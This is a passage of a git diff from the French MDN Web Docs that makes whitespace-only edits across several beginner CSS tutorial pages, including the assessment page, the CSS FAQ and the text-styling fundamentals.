fourniront des occasions de mettre en pratique vos nouvelles compétences : - [Qu'est-ce que le CSS?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) - - : **{{Glossary("CSS")}}** (Cascading Style Sheets) permet de créer de superbes pages web, mais comment fonctionne-t-il sous le capot ? Cet article explique ce qu'est le CSS à l'aide d'un exemple de syntaxe simple et couvre également quelques-uns des termes clés du langage. + - : **{{Glossary("CSS")}}** (Cascading Style Sheets) permet de créer de superbes pages web, mais comment fonctionne-t-il sous le capot ? Cet article explique ce qu'est le CSS à l'aide d'un exemple de syntaxe simple et couvre également quelques-uns des termes clés du langage. - [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) - : Dans cet article, nous partirons d'un document HTML simple et y appliquerons des CSS, tout en apprenant des choses pratiques sur le langage. - [Comment est structuré le CSS](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) @@ -40,9 +40,9 @@ Ce module contient les articles suivants, qui vous présenteront les bases théo - [Comment CSS Fonctionne](/fr/docs/Learn/CSS/First_steps/How_CSS_works) - : Nous avons appris les bases de CSS, ce qu'il est et comment écrire des feuilles de style simple. Dans cette leçon, nous étudierons comment un navigateur transforme CSS et HTML en une page web. - [Utilisez vos nouvelles compétences](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) - - : Avec toutes les choses que vous avez apprises dans les dernières leçons, vous devriez être capable de formater des documents textuels simples en utilisant CSS et y ajouter votre propre style. Cet article vous permet d'expérimenter. + - : Avec toutes les choses que vous avez apprises dans les dernières leçons, vous devriez être capable de formater des documents textuels simples en utilisant CSS et y ajouter votre propre style. Cet article vous permet d'expérimenter. ## Voir aussi - Literacy [Web intermédiaire 1 : Introduction au CSS](/fr/docs/) - - : Un excellent cours de base de la fondation Mozilla qui explore et teste de nombreuses compétences évoquées dans le module _Introduction à CSS_. Approfondissements à propos de l'application de styles sur les éléments HTML d'une page Web, les sélecteurs CSS, les attributs et valeurs.P + - : Un excellent cours de base de la fondation Mozilla qui explore et teste de nombreuses compétences évoquées dans le module _Introduction à CSS_. Approfondissements à propos de l'application de styles sur les éléments HTML d'une page Web, les sélecteurs CSS, les attributs et valeurs.P diff --git a/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md b/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md index fcb42335eb..c24d68d80b 100644 --- a/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md +++ b/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md @@ -10,7 +10,7 @@ translation_of: Learn/CSS/First_steps/Using_your_new_knowledge --- {{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}} -Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons précécentes : vous savez comment mettre en forme des documents texte simples à l'aide de CSS. +Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons précécentes : vous savez comment mettre en forme des documents texte simples à l'aide de CSS. <table class="standard-table"> <tbody> @@ -19,7 +19,7 @@ Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons préc <td> Avant de vous soumettre à cette évaluation, vous avez suivi le module sur les bases de CSS ; vous maîtrisez par ailleurs les bases de HTML - (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction à HTML</a >). </td> @@ -33,13 +33,13 @@ Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons préc ## Point de départ -Vous pouvez travailler dans l'éditeur ci-dessous ou [télécharger le point de départ](https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/) pour travailler en local sur votre machine, avec votre propre éditeur de code. Ce point de départ est une page HTML avec le CSS interne écrit dans la section `<head>`. Sur votre machine, n'hésitez pas à travailler avec une feuille de style externe. Vous pouvez aussi utiliser des éditeurs en ligne comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/) pour travailler sur les tâches proposées. +Vous pouvez travailler dans l'éditeur ci-dessous ou [télécharger le point de départ](https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/) pour travailler en local sur votre machine, avec votre propre éditeur de code. Ce point de départ est une page HTML avec le CSS interne écrit dans la section `<head>`. Sur votre machine, n'hésitez pas à travailler avec une feuille de style externe. Vous pouvez aussi utiliser des éditeurs en ligne comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/) pour travailler sur les tâches proposées. -> **Note :** ne restez pas coincé, appelez à l'aide — voir la section [Evaluation et comment obtenir de l'aide](#evaluation) au bas de cette page. +> **Note :** ne restez pas coincé, appelez à l'aide — voir la section [Evaluation et comment obtenir de l'aide](#evaluation) au bas de cette page. -## Travailler avec CSS +## Travailler avec CSS -L'exemple ci-dessous propose de retravailler la mise en forme d'une biographie stylée avec CSS. Les propriétés utilisées sont les suivantes — chacune renvoie vers sa page MDN pour plus d'exemples d'usages : +L'exemple ci-dessous propose de retravailler la mise en forme d'une biographie stylée avec CSS. Les propriétés utilisées sont les suivantes — chacune renvoie vers sa page MDN pour plus d'exemples d'usages : - {{cssxref("font-family")}} - {{cssxref("color")}} @@ -48,52 +48,52 @@ L'exemple ci-dessous propose de retravailler la mise en forme d'une biographie - {{cssxref("font-size")}} - {{cssxref("text-decoration")}} -J'ai utilisé un mélange de sélecteurs, d'éléments HTML comme `h1` et `h2` ; j'ai aussi créé une classe `job-title`. +J'ai utilisé un mélange de sélecteurs, d'éléments HTML comme `h1` et `h2` ; j'ai aussi créé une classe `job-title`. -Utilisez CSS pour changer l'apparence de cette biographie en modifiant les valeurs des propriétés CSS utilisées : +Utilisez CSS pour changer l'apparence de cette biographie en modifiant les valeurs des propriétés CSS utilisées : -1. Affichez le titre de niveau 1 en `hotpink` ; -2. Donnez au titre un {{cssxref("border-bottom")}} de `10px dotted` de couleur `purple` ; +1. Affichez le titre de niveau 1 en `hotpink` ; +2. Donnez au titre un {{cssxref("border-bottom")}} de `10px dotted` de couleur `purple` ; 3. Affichez le titre de niveau 2 en italique ; -4. Colorez la `ul` des détails de contacts en {{cssxref("background-color")}} `#eeeeee`, avec un {{cssxref("border")}} de `5px solid purple`. Utilisez la propriété {{cssxref("padding")}} pour éloigner le contenu du bord. -5. Faites que les liens apparaissent en `green` lors d'un survol du curseur. +4. Colorez la `ul` des détails de contacts en {{cssxref("background-color")}} `#eeeeee`, avec un {{cssxref("border")}} de `5px solid purple`. Utilisez la propriété {{cssxref("padding")}} pour éloigner le contenu du bord. +5. Faites que les liens apparaissent en `green` lors d'un survol du curseur. Vous devriez obtenir un rendu qui ressemble à cela :  -Une fois cette tâche accomplie, n'hésitez pas à explorer des propriétés rencontrées dans la [référence CSS sur MDN](/fr/docs/Web/CSS/Reference) ! +Une fois cette tâche accomplie, n'hésitez pas à explorer des propriétés rencontrées dans la [référence CSS sur MDN](/fr/docs/Web/CSS/Reference) ! -À ce stade, il n'y a pas de réponse incorrecte — autorisez vous un peu de fantaisie. +À ce stade, il n'y a pas de réponse incorrecte — autorisez vous un peu de fantaisie. {{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} -## Evaluation ou compléments d'information +## Evaluation ou compléments d'information Si vous voulez une évaluation de votre travail, ou si vous êtes coincé et recherchez de l'aide : -1. Publiez votre code dans un éditeur en ligne tel [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), or [Glitch](https://glitch.com/). +1. Publiez votre code dans un éditeur en ligne tel [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), or [Glitch](https://glitch.com/). 2. Si vous êtes à l'aise en anglais : - 1. Dans le [forum MDN Discourse](https://discourse.mozilla.org/c/mdn), écrivez un billet pour évaluation et/ou demande d'aide. Ajouter le tag "learning" à votre post pour que nous puissions le trouver plus facilement. Votre post devrait contenir : + 1. Dans le [forum MDN Discourse](https://discourse.mozilla.org/c/mdn), écrivez un billet pour évaluation et/ou demande d'aide. Ajouter le tag "learning" à votre post pour que nous puissions le trouver plus facilement. Votre post devrait contenir : - Un titre parlant comme "Assessment wanted for CSS First Steps". - - Des détails sur ce que vous voudriez que l'on fasse — par exemple, ce que vous avez déjà essayé si vous êtes coincé et demandez de l'aide. - - Un lien vers l'exemple dans l'éditeur en ligne, sur lequel vous demandez une évaluation ou de l'aide : voilà une bonne pratique — il n'est pas commode d'aider quelqu'un coincé sur son code quand on ne peut pas voir ce code... + - Des détails sur ce que vous voudriez que l'on fasse — par exemple, ce que vous avez déjà essayé si vous êtes coincé et demandez de l'aide. + - Un lien vers l'exemple dans l'éditeur en ligne, sur lequel vous demandez une évaluation ou de l'aide : voilà une bonne pratique — il n'est pas commode d'aider quelqu'un coincé sur son code quand on ne peut pas voir ce code... - Un lien vers cette page d'évaluation afin que nous puissions voir la question sur laquelle vous demandez de l'aide. 3. Sinon, n'hésitez pas à contacter @MDNfr sur Twitter. ## La suite ? -Bravo, vous avez suivi ce cours jusqu'au bout. Avec votre connaissance de CSS, vous comprenez maintenant le fonctionnement d'une feuille de style. Dans le prochain cours, [construire des blocs CSS](/fr/docs/Apprendre/CSS/Building_blocks), nous approfondirons de nombreux points. +Bravo, vous avez suivi ce cours jusqu'au bout. Avec votre connaissance de CSS, vous comprenez maintenant le fonctionnement d'une feuille de style. Dans le prochain cours, [construire des blocs CSS](/fr/docs/Apprendre/CSS/Building_blocks), nous approfondirons de nombreux points. {{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Apprendre/CSS/Premiers_pas")}} ## Dans ce cours 1. [Qu'est-ce que CSS ?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) -2. [Commencer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) -3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +2. [Commencer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) 4. [CSS, comment ça marche ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) 5. [Mettez en œuvre vos connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/what_is_css/index.md b/files/fr/learn/css/first_steps/what_is_css/index.md index 48f5fc8f5f..ae102593f7 100644 --- a/files/fr/learn/css/first_steps/what_is_css/index.md +++ b/files/fr/learn/css/first_steps/what_is_css/index.md @@ -49,7 +49,7 @@ Les **documents** en question sont des fichiers texte structurés avec un langag **Présenter** un document à l'utilisateur signifie convertir ce document dans une forme utilisable par le public visé. Les [navigateurs](/fr/docs/Glossary/Browser), tels [Firefox](/fr/docs/Glossary/Mozilla_Firefox), [Chrome](/fr/docs/Glossary/Google_Chrome), [Safari](/fr/docs/Glossary/Apple_Safari) ou [Edge](/fr/docs/Glossary/Microsoft_Edge) sont conçus pour présenter visuellement des documents, que ce soit sur l'écran d'un ordinateur, un vidéo-projecteur ou une imprimante. -> **Note :** Un navigateur est parfois appelé [agent utilisateur](/fr/docs/Glossary/User_agent). On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres agents utilisateurs comme les programmes qui convertissent des documents HTML et CSS en documents PDF imprimables. +> **Note :** Un navigateur est parfois appelé [agent utilisateur](/fr/docs/Glossary/User_agent). On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres agents utilisateurs comme les programmes qui convertissent des documents HTML et CSS en documents PDF imprimables. CSS peut être utilisé pour une mise en forme élémentaire des documents — par exemple, changer [la couleur](/fr/docs/Web/CSS/color_value) et [la taille](/fr/docs/Web/CSS/font-size) des titres et des liens. Il peut être utilisé pour concevoir une maquette — par exemple, [transformer un texte affiché sur une colonne en une composition](/fr/docs/Web/CSS/Layout_cookbook/Column_layouts) avec un cadre principal et une barre latérale pour les informations reliées. Avec CSS, on peut aussi produire des [animations](/fr/docs/Web/CSS/CSS_Animations). N'hésitez pas à cliquer sur les liens de ce paragraphe pour observer différents exemples. diff --git a/files/fr/learn/css/howto/create_fancy_boxes/index.md b/files/fr/learn/css/howto/create_fancy_boxes/index.md index 4b83c4ebc0..e39d07e2a0 100644 --- a/files/fr/learn/css/howto/create_fancy_boxes/index.md +++ b/files/fr/learn/css/howto/create_fancy_boxes/index.md @@ -104,17 +104,17 @@ Passons à la manipulation : sont considérés et manipulés comme des images */ background-image: linear-gradient(175deg, rgba(0,0,0,0) 95%, #8da389 95%), - linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%), - linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%), - linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%), - linear-gradient(175deg, rgba(0,0,0,0) 85%, #c5a68e 85%), - linear-gradient( 85deg, rgba(0,0,0,0) 89%, #c5a68e 89%), - linear-gradient(175deg, rgba(0,0,0,0) 80%, #ba9499 80%), - linear-gradient( 85deg, rgba(0,0,0,0) 86%, #ba9499 86%), - linear-gradient(175deg, rgba(0,0,0,0) 75%, #9f8fa4 75%), - linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%), - linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%), - linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%); + linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%), + linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%), + linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%), + linear-gradient(175deg, rgba(0,0,0,0) 85%, #c5a68e 85%), + linear-gradient( 85deg, rgba(0,0,0,0) 89%, #c5a68e 89%), + linear-gradient(175deg, rgba(0,0,0,0) 80%, #ba9499 80%), + linear-gradient( 85deg, rgba(0,0,0,0) 86%, #ba9499 86%), + linear-gradient(175deg, rgba(0,0,0,0) 75%, #9f8fa4 75%), + linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%), + linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%), + linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%); } ``` diff --git a/files/fr/learn/css/howto/css_faq/index.md b/files/fr/learn/css/howto/css_faq/index.md index cd4ad34b7a..f567b7ab3f 100644 --- a/files/fr/learn/css/howto/css_faq/index.md +++ b/files/fr/learn/css/howto/css_faq/index.md @@ -11,7 +11,7 @@ original_slug: Web/CSS/CSS_questions_frequentes --- ## Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ? -Pour afficher un document, les navigateurs utilisent le `DOCTYPE` - contraction de l'anglais _document type_, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un `DOCTYPE` correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur. +Pour afficher un document, les navigateurs utilisent le `DOCTYPE` - contraction de l'anglais _document type_, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un `DOCTYPE` correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur. Les navigateurs modernes ont deux modes de rendu : @@ -52,7 +52,7 @@ Quand vous voulez appliquer un style à un bloc ou un élément spécifique, uti Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut `class`. -Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type `label` et `form` ou pour décorer des éléments qui doivent être sémantiquement uniques. +Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type `label` et `form` ou pour décorer des éléments qui doivent être sémantiquement uniques. Voire [Les sélecteurs CSS](/fr/docs/CSS/Premiers_pas/Les_sélecteurs "Les sélecteurs CSS"). @@ -66,7 +66,7 @@ Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant CSS ne permet de faire dériver un style d'un autre. Voire [l'article d'Eric Meyer à propos de la position du groupe de travail](http://archivist.incutio.com/viewlist/css-discuss/2685). Par contre, assigner plusieurs classes à un seul élément peut produire le même effet. -## Comment assigner de multiples classes à un élément? +## Comment assigner de multiples classes à un élément? Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut `class` en séparant chaque classe d'un espace. diff --git a/files/fr/learn/css/index.md b/files/fr/learn/css/index.md index 33af4277c2..e6046e24bf 100644 --- a/files/fr/learn/css/index.md +++ b/files/fr/learn/css/index.md @@ -21,7 +21,7 @@ original_slug: Apprendre/CSS ## Parcours d'apprentissage -Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module [Introduction au HTML —](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML) vous pourrez ensuite en apprendre davantage au sujet : +Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module [Introduction au HTML —](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML) vous pourrez ensuite en apprendre davantage au sujet : - des CSS, en commençant avec le module [Introduction aux CSS](/fr/docs/Learn/CSS/First_steps) - des [Modules HTML](/fr/Learn/HTML#Modules) plus avancés @@ -38,14 +38,14 @@ Il est recommandé de travailler par le biais de Débuter avec le web avant d'es Cet article contient les modules suivants, dans l'ordre suggéré pour le parcours. Vous devez vraiment commencer par le premier. - [Introduction aux CSS](/fr/Apprendre/CSS/Introduction_à_CSS) - - : Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS. + - : Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS. - [Styliser les boîtes](/fr/Apprendre/CSS/styliser_boites) - - : Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes. + - : Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes. <!----> - [Composer du texte](/fr/docs/Learn/CSS/Styling_text) - - : Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens. + - : Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens. - [Mise en page avec les CSS](/fr/Apprendre/CSS/CSS_layout) - : À ce stade, ont déjà été examinés les principes fondamentaux des CSS, la façon de composer du texte, de styliser et de manipuler les boîtes où se trouve le contenu. Maintenant, il est temps de voir comment placer les boîtes au bon endroit dans la fenêtre et l'une par rapport à l'autre. Maintenant que sont couvertes les conditions préalables nécessaires, vous pouvez entrer plus avant dans les mises en page avec les CSS, regarder les divers paramètres d'affichage, les méthodes traditionnelles de mise en page y compris flottement et positionnement ainsi que les nouveaux outils de mises en page tape à l'œil, comme flexbox. @@ -65,4 +65,4 @@ Le CSS fonctionne un peu différemment de la plupart des langages de programmati ## Voir aussi - [Les CSS sur MDN](/fr/docs/Web/CSS) - - : Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit. + - : Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit. diff --git a/files/fr/learn/css/styling_text/fundamentals/index.md b/files/fr/learn/css/styling_text/fundamentals/index.md index 6b635b6014..f464b52f5f 100644 --- a/files/fr/learn/css/styling_text/fundamentals/index.md +++ b/files/fr/learn/css/styling_text/fundamentals/index.md @@ -43,12 +43,12 @@ Dans cet article, nous allons commencer le voyage vers la maîtrise des styles d Comme vous l'avez déjà vu dans votre apprentissage de HTML et CSS, le texte d'un élément est placé à l'intérieur de la boîte de contenu de cet élément. Il débute en haut à gauche de cette zone (ou en haut à droite, dans le cas des contenus en langues s'écrivant de droite à gauche) et se poursuit vers la fin de la ligne. Arrivé en bout de ligne, il descend à la ligne suivante et continue, puis va à la ligne suivante, jusqu'à ce que tout le contenu ait été placé. Les contenus textuels se comportent comme une suite d'éléments en ligne placés les uns à côté des autres. Aucun saut de ligne n'est créé avant que la fin de la ligne soit atteinte, sauf si vous forcez manuellement le saut de ligne avec l'élément {{htmlelement("br")}}. -> **Note :** si le paragraphe ci‑dessus vous paraît confus, pas de problème — revenez en arrière et revoyez l'article sur la théorie du [Modèle de boîte](/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte) avant de poursuivre. +> **Note :** si le paragraphe ci‑dessus vous paraît confus, pas de problème — revenez en arrière et revoyez l'article sur la théorie du [Modèle de boîte](/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte) avant de poursuivre. Les propriétés CSS utilisées pour le style de texte appartiennent généralement à deux catégories, que nous verrons séparément dans cet article : -- **Styles de la police de caractères** : ces propriétés concernent la fonte appliquée au texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc. -- **Styles de composition du texte** : ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de disposer le texte dans la boîte de contenu. +- **Styles de la police de caractères** : ces propriétés concernent la fonte appliquée au texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc. +- **Styles de composition du texte** : ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de disposer le texte dans la boîte de contenu. > **Note :** Gardez à l'esprit que le texte à l'intérieur d'un élément est affecté comme une seule entité. Vous ne pouvez pas sélectionner et mettre en forme des sous-sections de texte, sauf si vous les enveloppez dans un élément approprié (tel que {{htmlelement ("span")}} ou {{htmlelement ("strong")}}, ou utilisez un texte pseudo-élément spécifique comme [::first-letter](/fr/docs/Web/CSS/::first-letter) (sélectionne la première lettre du texte d'un élément), [::first-line](/fr/docs/Web/CSS/::first-line) (sélectionne la première ligne du texte d'un élément) ou [::selection](/fr/docs/Web/CSS/::selection) (sélectionne le texte actuellement mis en surbrillance par le curseur) . @@ -76,7 +76,7 @@ Vous pouvez trouver l'[exemple (en) fini](https://mdn.github.io/learning-area/cs ### Couleur -La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}. +La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}. `color` accepte toutes les [unités de couleur des CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Couleurs), par exemple : @@ -106,7 +106,7 @@ occasions, comme maintenant.</p> ### Familles de fontes -Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela : +Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela : ```css p { @@ -128,10 +128,10 @@ La liste des polices web vraiment sûres changera à mesure que les systèmes d' | --------------- | -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Arial | sans-serif | Il est de bonne pratique d'ajouter Helvetica en tant qu'alternative préférée d'Arial car, bien que leurs apparences soient presque identiques, Helvetica est considérée comme ayant une forme plus agréable, même si Arial est plus courante. | | Courier New | monospace | Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police _Courier New_ appelée _Courier_. Il est recommandé d'utiliser les deux avec _Courier New_ comme alternative préférée. | -| Georgia | serif | | +| Georgia | serif | | | Times New Roman | serif | Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police _Times New Roman_ appelée _Times_. Il est recommandé d'utiliser les deux avec _Times New Roman_ comme alternative préférée. | | Trebuchet MS | sans-serif | Vous devriez être prudent avec l'utilisation de cette police - elle n'est pas aussi largement disponible sur les systèmes d'exploitation des mobiles. | -| Verdana | sans-serif | | +| Verdana | sans-serif | | > **Note :** Le site [cssfontstack.com](https://www.cssfontstack.com/) met à votre disposition, entre autres ressources, une liste de polices web sûres disponibles sur les systèmes d'exploitation Windows et Mac OS. Elle peut faciliter votre prise de décision quant à ce que vous considérerez comme sûr pour votre usage. @@ -202,7 +202,7 @@ Dans l'article [Valeurs et unités CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CS - `px` (pixels) : le nombre de pixels souhaités pour la hauteur du texte. C'est une unité absolue — il en résulte une même valeur finale calculée de la police sur la page dans à peu près n'importe quelle situation. - `em` : 1 em est égal à la taille de la police définie sur l'élément parent de l'élément courant que nous composons (plus précisément, la largeur d'un « M » majuscule de l'élément parent). Cette valeur peut devenir difficile à déterminer si vous avez beaucoup d'imbrications avec diverses tailles de police, mais cela reste faisable, comme vous le verrez ci-dessous. Pourquoi s'embêter ? C'est assez naturel, une fois que vous y êtes habitué ; vous pouvez utiliser `em` pour tout dimensionner, pas seulement du texte. Vous pouvez avoir un site web entier dimensionné avec des `em`, la maintenance en sera facilitée. -- `rem` : il fonctionne comme `em`, excepté que un `rem` est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les `rem` ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux `em` ou aux `px`, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que [REM-unit-polyfill](https://github.com/chuckcarpenter/REM-unit-polyfill). +- `rem` : il fonctionne comme `em`, excepté que un `rem` est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les `rem` ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux `em` ou aux `px`, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que [REM-unit-polyfill](https://github.com/chuckcarpenter/REM-unit-polyfill). La propriété `font-size` d'un élément est héritée de son parent. Tout commence par l'élément racine de l'ensemble du document — {{htmlelement("html")}} — dont la propriété `font‑size` est normée à 16 px sur les navigateurs. Tout paragraphe (ou tout autre élément dont la taille n'a pas été définie différemment par le navigateur) à l'intérieur de l'élément racine aura une taille finale de 16 px. D'autres éléments peuvent avoir des tailles par défaut différentes, par exemple un élément {{htmlelement ("h1")}} a une taille de 2 `em` définie par défaut, donc aura une taille finale de 32 px. @@ -262,7 +262,7 @@ CSS fournit quatre propriétés communes pour modifier le poids et l'emphase vis - {{cssxref("font-style")}} : utilisé pour appliquer ou enlever le style italique. Les valeurs possibles sont les suivantes (vous ne l'utiliserez que rarement, sauf si vous souhaitez désactiver le style italique pour une raison quelconque) : - `normal` : fige le texte en police normale (suppression du style italique existant). - - `italic` : met le texte en _version italique de la police_ si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place. + - `italic` : met le texte en _version italique de la police_ si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place. - `oblique` : force le texte à utiliser une version simulée de fonte italique, créée en _inclinant la version normale_. - {{cssxref("font-weight")}} : définit la graisse du texte. La propriété peut avoir de nombreuses valeurs s'il y a de nombreuses variantes de polices disponibles (comme _-light_, _-normal_, _-bold_, _-extrabold_, _-black_, etc.), mais en réalité, vous les utiliserez rarement en dehors de `normal` et `bold` (gras): @@ -467,7 +467,7 @@ La propriété {{cssxref ("line-height")}} définit la hauteur de chaque ligne d line-height: 1.5; ``` -En appliquant cette règle à l'élément {{htmlelement("p")}} de l'exemple, nous obtenons : +En appliquant cette règle à l'élément {{htmlelement("p")}} de l'exemple, nous obtenons : ```html hidden 